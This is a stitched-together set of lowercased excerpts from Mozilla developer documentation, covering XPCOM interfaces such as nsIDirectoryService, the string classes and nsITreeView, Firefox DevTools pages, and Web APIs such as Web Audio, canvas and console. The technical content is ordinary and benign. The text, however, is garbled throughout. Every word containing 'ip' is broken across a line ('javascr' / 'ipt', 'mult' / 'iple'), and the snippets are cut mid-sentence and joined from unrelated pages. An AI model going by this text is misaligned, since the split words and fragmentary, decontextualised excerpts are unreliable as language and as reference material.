class id f00152d0-b40b-11d3-8c9c-000064657374 contractid @mozilla.org/file/directory_service;1 supported interfaces ns
iproperties nsidirectoryservice remarks this component is a singleton and should therefore be accessed via the xpcom service manager.
... example code #include "nsxpcom.h" #include "nscomptr.h" #include "nsdirectoryservicedefs.h" #include "nsiservicemanager.h" #include "ns
iproperties.h" /** * get the location of the system's "temp" directory.
... */ nsresult gettempdir(nsifile **aresult) { nsresult rv; nscomptr<nsiservicemanager> svcmgr; rv = ns_getservicemanager(getter_addrefs(svcmgr)); if (ns_failed(rv)) return rv; nscomptr<ns
iproperties> directory; rv = svcmgr->getservicebycontractid("@mozilla.org/file/directory_service;1", ns_get_iid(ns
iproperties), getter_addrefs(directory)); if (ns_failed(rv)) return rv; rv = directory->get(ns_os_temp_dir, ns_get_iid(nsifile), aresult); return rv; } note that ns_os_temp_dir is defined in nsdirectoryservicedefs.h along with a number of other directory service keys.
... see also using nsidirectoryservice ns
iproperties.get() nsidirectoryserviceprovider ...
nsACString_internal
aseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar data members no public members.
...ers char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple adopt void adopt(char*, pruint32) - source parameters char* data pruint32 length replace void replace(pruint32, pruint32, char) - source buffer man
ipulation parameters pruint32 cutstart pruint32 cutlength char c void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, const nsacstring_internal&) - source parameters pruint32 cutstart pruint32 cutlength nsacstring_internal& str void replace(pruint32, pruint32, const...
... @see nstsubstring::isvoid parameters prbool <anonymous> str
ipchar void str
ipchar(char, print32) - source this method is used to remove all occurrences of achar from this string.
... @param achar -- char to be str
ipped @param aoffset -- where in this string to start str
ipping chars parameters char achar print32 aoffset ...
nsAString_internal
aseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar data members no public members.
...* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple adopt void adopt(prunichar*, pruint32) - source parameters prunichar* data pruint32 length replace void replace(pruint32, pruint32, prunichar) - source buffer man
ipulation parameters pruint32 cutstart pruint32 cutlength prunichar c void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, const nsastring_internal&) - source parameters pruint32 cutstart pruint32 cutlength nsastring_internal& str void replace(pruint32, pr...
... @see nstsubstring::isvoid parameters prbool <anonymous> str
ipchar void str
ipchar(prunichar, print32) - source this method is used to remove all occurrences of achar from this string.
... @param achar -- char to be str
ipped @param aoffset -- where in this string to start str
ipping chars parameters prunichar achar print32 aoffset ...
nsDependentCSubstring
aseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nsacstring_internal data members no public members.
...ers char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple adopt void adopt(char*, pruint32) - source parameters char* data pruint32 length replace void replace(pruint32, pruint32, char) - source buffer man
ipulation parameters pruint32 cutstart pruint32 cutlength char c void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, const nsacstring_internal&) - source parameters pruint32 cutstart pruint32 cutlength nsacstring_internal& str void replace(pruint32, pruint32, const...
... @see nstsubstring::isvoid parameters prbool <anonymous> str
ipchar void str
ipchar(char, print32) - source this method is used to remove all occurrences of achar from this string.
... @param achar -- char to be str
ipped @param aoffset -- where in this string to start str
ipping chars parameters char achar print32 aoffset ...
nsDependentSubstring
aseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nsastring_internal data members no public members.
...* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple adopt void adopt(prunichar*, pruint32) - source parameters prunichar* data pruint32 length replace void replace(pruint32, pruint32, prunichar) - source buffer man
ipulation parameters pruint32 cutstart pruint32 cutlength prunichar c void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, const nsastring_internal&) - source parameters pruint32 cutstart pruint32 cutlength nsastring_internal& str void replace(pruint32, pr...
... @see nstsubstring::isvoid parameters prbool <anonymous> str
ipchar void str
ipchar(prunichar, print32) - source this method is used to remove all occurrences of achar from this string.
... @param achar -- char to be str
ipped @param aoffset -- where in this string to start str
ipping chars parameters prunichar achar print32 aoffset ...
nsIOutputStream
xpcom/io/nsioutputstream.idlscr
iptable an interface describing a writable stream of data.
... note: though this method is scr
iptable, javascr
ipt code must only pass an ascii character string as the abuf parameter.
...the reader function may be called mult
iple times for segmented buffers.
... unsigned long writesegments( in nsreadsegmentfun areader, in voidptr aclosure, in unsigned long acount ); parameters areader a callback function that may be called mult
iple times.
nsIScreen
widget/nsiscreen.idlscr
iptable this interface provides information about a display screen.
...erfaces.nsiscreen); method overview void getavailrect(out long left, out long top, out long width, out long height); void getrect(out long left, out long top, out long width, out long height); void lockminimumbrightness(in unsigned long brightness); void unlockminimumbrightness(in unsigned long brightness); attributes attribute type descr
iption colordepth long the screen's color depth; this is the number of bits used to represent a color.
... constants screen brightness constants constant value descr
iption brightness_dim 0 the screen is fully dimmed (that is, off).
... screen rotation constants requires gecko 13.0(firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) constant value descr
iption rotation_0_deg 0 0° of rotation (that is, no rotation, or default orientation).
nsISearchEngine
netwerk/base/public/nsibrowsersearchservice.idlscr
iptable please add a summary to this article.
...ts from: nsisupports method overview void addparam(in astring name, in astring value, in astring responsetype); nsisearchsubmission getsubmission(in astring data, [optional] in astring responsetype, [optional] in astring purpose); boolean supportsresponsetype(in astring responsetype); attributes attribute type descr
iption alias astring an optional shortcut alias for the engine.
... descr
iption astring a text descr
iption describing the engine.
... constants search engine type constants constant value descr
iption type_mozsearch 1 type_sherlock 2 type_opensearch 3 search engine data type constants constant value descr
iption data_xml 1 data type is xml data_text 2 data type is text.
nsISessionStartup
browser/components/sessionstore/nsisessionstartup.idlscr
iptable handles the session restore process.
...to use this service, use: var sessionstartup = components.classes["@mozilla.org/browser/sessionstartup;1"] .getservice(components.interfaces.nsisessionstartup); method overview boolean dorestore(); attributes attribute type descr
iption sessiontype unsigned long the type of session being restored; this will be one of the session type constants.
... state jsval the session state, as a javascr
ipt object.
... constants session type constants constant value descr
iption no_session 0 there's no data available from the previous session.
nsIStackFrame
xpcom/base/nsiexception.idlscr
iptable please add a summary to this article.
... inherits from: nsisupports last changed in gecko 1.7 method overview string tostring(); attributes attribute type descr
iption caller nsistackframe read only.
... language pruint32 see ns
iprogramminglanguage for a list of language constants.
... languagename string see ns
iprogramminglanguage for a list of language constants.
nsIStringBundleService
intl/strres/nsistringbundle.idlscr
iptable provides the string bundle service, which provides a way to fetch localized strings from a property file.
...typically used to format a message received by a ns
iprogresseventsink's onstatus method.
...mult
iple arguments can be separated by newline ('\n') characters.
... see also code sn
ippets : miscellaneous : using string bundles from javascr
ipt how to localize html pages, xul files, and js/jsm files from bootstrapped add-ons.
nsITaskbarPreviewButton
widget/public/nsitaskbarpreviewbutton.idlscr
iptable this interface is used on microsoft windows to get access to a window preview's toolbar button properties.
...attributes attribute type descr
iption disabled boolean if true, the button is disabled.
... toolt
ip domstring the string displayed in the button's toolt
ip.
...if false, the button doesn't partic
ipate in the layout of buttons underneath the preview.
nsITextInputProcessorCallback
dom/interfaces/base/nsitextinputprocessor.idlscr
iptable a callback interface for nsitextinputprocessor user 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) nsitextinputprocessorcallback is defined for receiving requests and notifications to ime from gecko.
... example of simple js-ime: var simpleime = { _hasfocus: false, _hasrightstocompose: false, _t
ip: null, _callback: function simpleime_callback(at
ip, anotification) { try { switch (anotification.type) { case "request-to-commit": at
ip.commitcomposition(); break; case "request-to-cancel": at
ip.cancelcomposition(); break; case "notify-focus": this._hasfocus = true; break; case "notify-blur": this._hasfocus = false; break; case "notify-detached": this._hasfocus = false; this._hasrightstocompose = false; break; } return true...
...; } catch (e) { return false; } }, setcomposition: function simpleime_setcomposition(atext, aclauses, acaret) { if (!this._t
ip) { this._t
ip = components.classes["@mozilla.org/text-input-processor;1"].
... createinstance(components.interfaces.nsitextinputprocessor); } if (!this._t
ip.begininputtransaction(window, this._callback)) { return false; } ...
nsIThreadPool
xpcom/threads/nsithreadpool.idlscr
iptable the nsithreadpool interface provides support for thread pools.
... method overview void shutdown(); attributes attribute type descr
iption idlethreadlimit unsigned long get/set the maximum number of idle threads that are kept alive.
... the thread pool takes ownersh
ip of the listener and releases it when the shutdown() method is called.
... threads created after the listener is set will also take ownersh
ip of the listener so that the listener will be kept alive long enough to receive the guaranteed nsithreadpoollistener.onthreadshuttingdown() notification.
nsITraceableChannel
netwerk/base/public/nsitraceablechannel.idlscr
iptable this interface is used to allow intercepting of http traffic.
... 1.0 66 introduced gecko 1.9.0.4 inherits from: nsisupports last changed in gecko 1.9.0.4 the typical way to use this interface is as follows: register for the "http-on-examine-response" notification to track all http responses; sk
ip redirects (responsestatus = 3xx on nsihttpchannel), since otherwise you may end up with two listeners registered for a channel; qi the channel passed as the "subject" to your observer to nsitraceablechannel, and replace the default nsistreamlistener (that passes the data to the original requester - e.g.
... see nsitraceablechannel, intercept http traffic for a more detailed descr
iption with code samples.
... example this example can be copied and pasted into a javascr
ipt interpreter and run.
nsITreeBoxObject
/layout/xul/base/src/tree/public/nsitreeboxobject.idlscr
iptable please add a summary to this article.
... long row, in nsitreecolumn col, in acstring element, out long x, out long y, out long width, out long height); boolean iscellcropped(in long row, in nsitreecolumn col); void rowcountchanged(in long index, in long count); void beginupdatebatch(); void endupdatebatch(); void clearstyleandimagecaches(); attributes attribute type descr
iption columns nsitreecolumns readonly: obtain the columns.
... selectionregion nsiscr
iptableregion readonly: return the region for the visible parts of the selection, in device pixels.
...for non-contiguous additions/removals, this method should be called mult
iple times.
nsITreeSelection
layout/xul/base/src/tree/public/nsitreeselection.idlscr
iptable this interface is used by the tree widget to get information about what is selected.
...validateselection(); void invertselection(); boolean isselected(in long index); void rangedselect(in long startindex, in long endindex, in boolean augment); void select(in long index); void selectall(); void timedselect(in long index, in long delay); void toggleselect(in long index); attributes attribute type descr
iption count long the number of rows currently selected in this tree.
...this is not a reliable method of determining the selected row, as the selection may include mult
iple rows, or the focused row may not even be selected.
...a view can use this to temporarily suppress the selection while man
ipulating all of the indices, for example, on a sort.
nsITreeView
layout/xul/base/src/tree/public/nsitreeview.idlscr
iptable this interface is used by the tree widget to get information about what and how to display a tree widget.
...id performactiononrow(in wstring action, in long row); void selectionchanged(); void setcelltext(in long row, in nsitreecolumn col, in astring value); void setcellvalue(in long row, in nsitreecolumn col, in astring value); void settree(in nsitreeboxobject tree); void toggleopenstate(in long index); attributes attribute type descr
iption rowcount long the total number of rows in the tree (including the offscreen rows).
... constants constant value descr
iption progress_normal 1 note: renamed from progressnormal in gecko 1.8 progress_undetermined 2 note: renamed from progressundetermined in gecko 1.8 progress_none 3 note: renamed from progressnone in gecko 1.8 drop_before -1 drop_on 0 drop_after 1 indropbefore 0 obsolete since gecko 1.8 indropon 1 obsolete since gecko 1.8 indropafter 2 obsolete since gecko 1.8 methods candrop() methods used by the drag feedback code to determine if a drag is allowable at the current location.
...it is mult
iplied by the width specified in the ::moz-tree-indentation pseudoelement to compute the exact indentation.
nsIVariant
xpcom/ds/nsivariant.idlscr
iptable xpconnect has magic to transparently convert between nsivariant and js types.
... we mark the interface [scr
iptable] so that js can use methods that refer to this interface.
... but we mark all the methods and attributes [noscr
ipt] since any nsivariant object will be automatically converted to a js type anyway.
... attributes attribute type descr
iption datatype pruint16 read only.
nsIWebBrowser
embedding/browser/webbrowser/nsiwebbrowser.idlscr
iptable this interface is implemented by web browser objects.
...method overview void addwebbrowserlistener(in nsiweakreference alistener, in nsiidref aiid); void removewebbrowserlistener(in nsiweakreference alistener, in nsiidref aiid); attributes attribute type descr
iption containerwindow nsiwebbrowserchrome the chrome object associated with the browser instance.
... the chrome may optionally implement nsiinterfacerequestor, nsiwebbrowserchromefocus, nsicontextmenulistener and nsitoolt
iplistener to receive additional notifications from the browser object.
... see also nsibasewindow nsicontextmenulistener nsidomwindow nsiembeddingsitewindow nsiinterfacerequestor nsishistorylistener nsitoolt
iplistener nsiuricontentlistener nsiweakreference nsiwebbrowserchrome nsiwebbrowserchromefocus nsiwebprogresslistener ...
Call Tree - Firefox Developer Tools
the call tree tells you which javascr
ipt functions the browser spent the most time in.
...it periodically samples the state of the javascr
ipt engine and records the stack for the code executing at the time.
... we've zoomed into the part of the recording that shows a long javascr
ipt marker: the call tree presents the results in a table.
... one thing to be aware of here is that idle time is classified as gecko, so parts of your profile where your javascr
ipt isn't running will contribute gecko samples.
Settings - Firefox Developer Tools
(the el
ipsis) on the right of the tab.
... screenshot behavior screenshot to cl
ipboard when you click the icon for the screenshot tool, copy the screenshot image to the cl
ipboard (the image will still be saved to your downloads directory).
... disable javascr
ipt reload the current tab with javascr
ipt disabled.
... note: this option got removed from the ui in firefox 56, because this version sh
ips with a new debugger ui, but it can still be enabled for the old ui by setting the preference devtools.debugger.workers to true.
Shader Editor - Firefox Developer Tools
webgl is a javascr
ipt api for rendering interactive 3d graphics and 2d graphics in the browser without using plugins.
... with webgl you provide 2 programs called shaders which are called at the appropriate stages of the opengl rendering p
ipeline: a vertex shader, which computes the cl
ip space coordinates of each vertex to be drawn, and a fragment shader, which determines the color for each pixel to be drawn.
...in webgl they can be included in a page in several ways: as text hardcoded in javascr
ipt strings, as separate files included using <scr
ipt> tags, or retrieved from the server as plain text.
... javascr
ipt code running in the page then sends them for compilation using the webgl apis, and they're executed on the device's gpu when needed.
ANGLE_instanced_arrays - Web APIs
the angle_instanced_arrays extension is part of the webgl api and allows to draw the same object, or groups of similar objects mult
iple times, if they share the same vertex data, primitive count and type.
... ext.drawarraysinstancedangle() behaves identically to gl.drawarrays() except that mult
iple instances of the range of elements are executed, and the instance advances for each iteration.
... ext.drawelementsinstancedangle() behaves identically to gl.drawelements() except that mult
iple instances of the set of elements are executed and the instance advances between each set.
... ext.vertexattribdivisorangle() modifies the rate at which generic vertex attributes advance when rendering mult
iple instances of primitives with ext.drawarraysinstancedangle() and ext.drawelementsinstancedangle().
AudioContext.createMediaStreamSource() - Web APIs
the createmediastreamsource() method of the audiocontext interface is used to create a new mediastreamaudiosourcenode object, given a media stream (say, from a mediadevices.getusermedia instance), the audio from which can then be played and man
ipulated.
... syntax audiosourcenode = audiocontext.createmediastreamsource(stream); parameters stream a mediastream to serve as an audio source to be fed into an audio processing graph for use and man
ipulation.
... var pre = document.queryselector('pre'); var video = document.queryselector('video'); var myscr
ipt = document.queryselector('scr
ipt'); var range = document.queryselector('input'); // getusermedia block - grab stream // put it into a mediastreamaudiosourcenode // also output the visuals into a video element if (navigator.mediadevices) { console.log('getusermedia supported.'); navigator.mediadevices.getusermedia ({audio: true, video: true}) .then(function(stream) { video.s...
...ation); // get new mouse pointer coordinates when mouse is moved // then set new gain value range.oninput = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump scr
ipt to pre element pre.innerhtml = myscr
ipt.innerhtml; note: as a consequence of calling createmediastreamsource(), audio playback from the media stream will be re-routed into the processing graph of the audiocontext.
AudioNode - Web APIs
descr
iption the audio routing graph each audionode has inputs and outputs, and mult
iple audio nodes are connected to build a processing graph.
... a source node has zero inputs but one or mult
iple outputs, and can be used to generate sound.
... properties audionode.context read only returns the associated baseaudiocontext, that is the object representing the processing graph the node is partic
ipating in.
... example this simple sn
ippet of code shows the creation of some audio nodes, and how the audionode properties and methods can be used.
AudioWorkletNode.parameters - Web APIs
they are instantiated during creation of the underlying audioworkletprocessor according to its parameterdescr
iptors static getter.
... we expand the processor by adding a static parameterdescr
iptors getter.
... // white-noise-processor.js class whitenoiseprocessor extends audioworkletprocessor { static get parameterdescr
iptors () { return [{ name: 'customgain', defaultvalue: 1, minvalue: 0, maxvalue: 1, automationrate: 'a-rate' }] } process (inputs, outputs, parameters) { const output = outputs[0] output.foreach(channel => { for (let i = 0; i < channel.length; i++) { channel[i] = (math.random() * 2 - 1) * (parameters['customgain'].length > 1 ?
... } }) return true } } registerprocessor('white-noise-processor', whitenoiseprocessor) next, in our main scr
ipts file we'll load the processor, create an instance of audioworkletnode passing it the name of the processor, and connect the node to an audio graph.
AudioWorkletProcessor.process - Web APIs
in other words, every time a new block of audio is ready for your processor to man
ipulate, your process() function is invoked to do so.
...for each custom audioparam defined using the parameterdescr
iptors getter, the key in the object is a name of that audioparam, and the value is a float32array.
... class whitenoiseprocessor extends audioworkletprocessor { process (inputs, outputs, parameters) { // take the first output const output = outputs[0] // fill each channel with random values mult
iplied by gain output.foreach(channel => { for (let i = 0; i < channel.length; i++) { // generate random value for each sample // math.random range is [0; 1); we need [-1; 1] // this won't include exact 1 but is fine for now for simplicity channel[i] = (math.random() * 2 - 1) * // the array can contain 1 or 128 values // depending on if t...
...parameters['customgain'][i] : parameters['customgain'][0]) } }) // as this is a source node which generates its own output, // we return true so it won't accidentally get garbage-collected // if we don't have any references to it in the main thread return true } // define the customgain parameter used in process method static get parameterdescr
iptors () { return [{ name: 'customgain', defaultvalue: 1, minvalue: 0, maxvalue: 1, automationrate: 'a-rate' }] } } specifications specification status comment web audio apithe definition of 'process()' in that specification.
Background Tasks API - Web APIs
this code draws any pending updates to the document currently being displayed, runs any javascr
ipt code the page needs to run, accepts events from input devices, and dispatches those events to the elements that should receive them.
...it's an extremely busy chunk of code, and your main javascr
ipt code may run right inside this thread along with all of this.
... below you'll find only the html and javascr
ipt for this example.
... display: inline-block; } .counter { text-align: right; padding-top: 4px; float: right; } .button { padding-top: 2px; padding-bottom: 4px; width: 100px; display: inline-block; float: left; border: 1px solid black; cursor: pointer; text-align: center; margin-top: 0; color: white; background-color: darkgreen; } #progress { width: 100%; padding-top: 6px; } javascr
ipt content now that the document structure is defined, construct the javascr
ipt code that will do the work.
BaseAudioContext.decodeAudioData() - Web APIs
usually you'll want to put the decoded data into an audiobuffersourcenode, from which it can be played and man
ipulated how you want.
... note: you can run the example live (or view the source.) // define variables var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var source; var pre = document.queryselector('pre'); var myscr
ipt = document.queryselector('scr
ipt'); var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); // use xhr to load an audio track, and // decodeaudiodata to decode it and stick it in a buffer.
... // then we put the buffer into the source function getdata() { source = audioctx.createbuffersource(); var request = new xmlhttprequest(); request.open('get', 'v
iper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { source.buffer = buffer; source.connect(audioctx.destination); source.loop = true; }, function(e){ console.log("error with decoding audio data" + e.err); }); } request.send(); } // wire up buttons to stop and play audio play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute...
...('disabled'); } // dump scr
ipt to pre element pre.innerhtml = myscr
ipt.innerhtml; new promise-based syntax ctx.decodeaudiodata(audiodata).then(function(decodeddata) { // use the decoded data here }); specifications specification status comment web audio apithe definition of 'decodeaudiodata()' in that specification.
BaseAudioContext - Web APIs
ze="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">baseaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties baseaudiocontext.audioworklet read only secure context returns the audioworklet object, which can be used to create and manage audionodes in which javascr
ipt code implementing the audioworkletprocessor interface are run in the background to process audio data.
... baseaudiocontext.createbuffersource() creates an audiobuffersourcenode, which can be used to play and man
ipulate audio data contained within an audiobuffer object.
... baseaudiocontext.createchannelmerger() creates a channelmergernode, which is used to combine channels from mult
iple audio streams into a single audio stream.
... baseaudiocontext.createscr
iptprocessor() creates a scr
iptprocessornode, which can be used for direct audio processing via javascr
ipt.
BluetoothRemoteGATTCharacteristic - Web APIs
the bluetoothremotegattcharacteristic interface of the web bluetooth api represents a gatt characteristic, which is a basic data element that provides further information about a per
ipheral’s service.
...value; promise<bluetoothremotegattdescr
iptor> getdescr
iptor(bluetoothdescr
iptoruuid descr
iptor); promise<sequence<bluetoothremotegattdescr
iptor>> getdescr
iptors(optional bluetoothdescr
iptoruuid descr
iptor); promise<dataview> readvalue(); promise<void> writevalue(buffersource value); promise<void> startnotifications(); promise<void> stopnotifications(); }; bluetoothremotegattcharacteristic implements eventtarget; bluetoothremotegattcharacteristic implements characteristiceventhandlers; properties bluetoothremotegattcharacteristic.s...
... methods bluetoothremotegattcharacteristic.getdescr
iptor() returns a promise that resolves to the first bluetoothgattdescr
iptor for a given descr
iptor uuid.
... bluetoothremotegattcharacteristic.getdescr
iptors() returns a promise that resolves to an array of all bluetoothgattdescr
iptor objects for a given descr
iptor uuid.
CanvasRenderingContext2D.arcTo() - Web APIs
html <canvas id="canvas"></canvas> javascr
ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // tangential lines ctx.beginpath(); ctx.strokestyle = 'gray'; ctx.moveto(200, 20); ctx.lineto(200, 130); ctx.lineto(50, 20); ctx.stroke(); // arc ctx.beginpath(); ctx.strokestyle = 'black'; ctx.linewidth = 5; ctx.moveto(200, 20); ctx.arcto(200,130, 50,20, 40); ctx.stroke(); // start point ctx.beginpath();...
... html <canvas id="canvas"></canvas> javascr
ipt the arc begins at the point specified by moveto(): (230, 20).
... html <canvas id="canvas"></canvas> javascr
ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(180, 90); ctx.arcto(180,130, 110,130, 130); ctx.lineto(110, 130); ctx.stroke(); result live demo more sophisticated demo of the method.
... html <div> <label for="radius">radius: </label> <input name="radius" type="range" id="radius" min=0 max=100 value=50> <label for="radius" id="radius-output">50</label> </div> <canvas id="canvas"></canvas> javascr
ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const controlout = document.getelementbyid('radius-output'); const control = document.getelementbyid('radius'); control.oninput = () => { controlout.textcontent = r = control.value; }; const mouse = { x: 0, y: 0 }; let r = 100; // radius const p0 = { x: 0, y: 50 }; const p1 = { x: 100, y: 100 }; const p2 = { x: 150, y: 50 }; const p3 = { x: 200, y: 100 }; const labelpoint = function (p...
CanvasRenderingContext2D.putImageData() - Web APIs
you can find more information about putimagedata() and general man
ipulation of canvas contents in the article pixel man
ipulation with canvas.
... html <canvas id="canvas"></canvas> javascr
ipt var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); function putimagedata(ctx, imagedata, dx, dy, dirtyx, dirtyy, dirtywidth, dirtyheight) { var data = imagedata.data; var height = imagedata.height; var width = imagedata.width; dirtyx = dirtyx || 0; dirtyy = dirtyy || 0; dirtywidth = dirtywidth !== undefined?
... } } } // draw content onto the canvas ctx.fillrect(0, 0, 100, 100); // create an imagedata object from it var imagedata = ctx.getimagedata(0, 0, 100, 100); // use the putimagedata function that illustrates how putimagedata works putimagedata(ctx, imagedata, 150, 0, 50, 50, 25, 25); result data loss due to browser optimization due to the lossy nature of converting to and from premult
iplied alpha color values, pixels that have just been set using putimagedata() might be returned to an equivalent getimagedata() as different values.
... javascr
ipt const canvas = document.createelement("canvas"); canvas.width = 1; canvas.height = 1; const context = canvas.getcontext("2d"); const imgdata = context.getimagedata(0, 0, canvas.width, canvas.height); const pixels = imgdata.data; pixels[0 + 0] = 1; pixels[0 + 1] = 127; pixels[0 + 2] = 255; pixels[0 + 3] = 1; console.log("before:", pixels); context.putimagedata(imgdata, 0, 0); const imgdata2 = context.getimagedata(0, 0, canvas.width, canvas.height); const pixels2 = imgdata2.data; console.log("after:", pixels2); the output might look like: before: uint8clampedarray(4) [ 1, 127, 255, 1 ] after: uint8clampedarray(4) [ 255, 255, 255, 1 ] specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.putimagedat...
Using channel messaging - Web APIs
the channel messaging api allows two separate scr
ipts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, or two documents via a sharedworker) to communicate directly, passing messages between one another through two-way channels (or p
ipes) with a port at each end.
... secondly, have a look at our multimessaging demo (run this live), which shows a slightly more complex setup that can send mult
iple messages between the main page and an iframe.
... an object, the ownersh
ip of which is transferred to the receiving browsing context.
... receiving the port and message in the iframe over in the iframe, we have the following javascr
ipt: var list = document.queryselector('ul'); var port2; // listen for the initial port transfer message window.addeventlistener('message', initport); // setup the transferred port function initport(e) { port2 = e.ports[0]; port2.onmessage = onmessage; } // handle messages received on port2 function onmessage(e) { var listitem = document.createelement('li'); listitem.textcontent = e.data; list.appendc...
Channel Messaging API - Web APIs
the channel messaging api allows two separate scr
ipts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, two documents via a sharedworker, or two workers) to communicate directly, passing messages between one another through two-way channels (or p
ipes) with a port at each end.
...ough the messagechannel.port1 and messagechannel.port2 properties (which both return messageport objects.) the app that created the channel uses port1, and the app at the other end of the port uses port2 — you send a message to port2, and transfer the port over to the other browsing context using window.postmessage along with two arguments (the message to send, and the object to transfer ownersh
ip of, in this case the port itself.) when these transferable objects are transferred, they are 'neutered' on the previous context — the one they previously belonged to.
... portcollection an array of messageports; an experimental solution to allow broadcasting of a message to mult
iple ports simultaneously.
... you can also see a multimessaging demo (run this live), which shows a slightly more complex setup that can send mult
iple messages between main page and iframe.
console.assert() - Web APIs
objn a list of javascr
ipt objects to output.
... msg a javascr
ipt string containing zero or more substitution strings.
...substn javascr
ipt objects with which to replace substitution strings within msg.
... examples the following code example demonstrates the use of a javascr
ipt object following the assertion: const errormsg = 'the # is not even'; for (let number = 2; number <= 5; number += 1) { console.log('the # is ' + number); console.assert(number % 2 === 0, {number: number, errormsg: errormsg}); // or, using es2015 object property shorthand: // console.assert(number % 2 === 0, {number, errormsg}); } // output: // the # is 2 // the # is 3 // assertion failed: {number: 3, errormsg: "the # is not even"} // the # is 4 // the # is 5 // assertion failed: {number: 5, errormsg: "the # is not even"} note that, while a string containing a substitution string works as a parameter for console.log in node ...
console.debug() - Web APIs
objn a list of javascr
ipt objects to output.
... msg a javascr
ipt string containing zero or more substitution strings, which are replaced with subst1 through substn in consecutive order.
...substn javascr
ipt objects with which to replace substitution strings within msg.
...see using string substitutions in console for a descr
iption of how substitutions work.
console.log() - Web APIs
the message may be a single string (with optional substitution values), or it may be any one or more javascr
ipt objects.
...objn a list of javascr
ipt objects to output.
... msg a javascr
ipt string containing zero or more substitution strings.
...substn javascr
ipt objects with which to replace substitution strings within msg.
console - Web APIs
console.dir() displays an interactive listing of the properties of a specified javascr
ipt object.
... console.dirxml() displays an xml/html element representation of the specified object if possible or the javascr
ipt object view if it is not possible.
... outputting a single object the simplest way to use the logging methods is to output a single object: var someobject = { str: "some text", id: 5 }; console.log(someobject); the output looks something like this: [09:27:13.475] ({str:"some text", id:5}) outputting mult
iple objects you can also output mult
iple objects by simply listing them when calling the logging method, like this: var car = "dodge charger"; var someobject = { str: "some text", id: 5 }; console.info("my first car was a", car, ".
...the object is: ({str:"some text", id:5}) using string substitutions when passing a string to one of the console object's methods that accepts a string (such as log()), you may use these substitution strings: %o or %o outputs a javascr
ipt object.
DOMMatrixReadOnly.scale() - Web APIs
dommatrix.scale(scalex[, scaley][, scalez][, originx][, originy][, originz]) parameters scalex a mult
iplier for the scale value on the x-axis.
... scaley optional a mult
iplier for the scale value on the y-axis.
... scalez optional a mult
iplier for the scale value on the z-axis.
... examples this svg contains three squares, one red, one blue, and one green, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 25 25"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> <rect id="transformedorigin" width="25" height="25" fill="green" /> </svg> this javascr
ipt first creates an identity matrix, then uses the scale() method to create a new matrix with a single parameter.
DedicatedWorkerGlobalScope - Web APIs
some additional global functions, namespaces objects, and constructors, not typically associated with the worker global scope, but available on it, are listed in the javascr
ipt reference.
... dedicatedworkerglobalscope.postmessage() sends a message — which can consist of any javascr
ipt object — to the parent document that first spawned the worker.
... workerglobalscope.importscr
ipts() imports one or more scr
ipts into the worker's scope.
...for example: importscr
ipts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data which has been encoded using base-64 encoding.
DirectoryEntrySync - Web APIs
parameter none exceptions this method can raise a fileexception with the following codes: exception descr
iption not_found_err the directory does not exist.
... exceptions this method can raise a fileexception with the following codes: exception descr
iption encoding_err the path supplied is invalid.
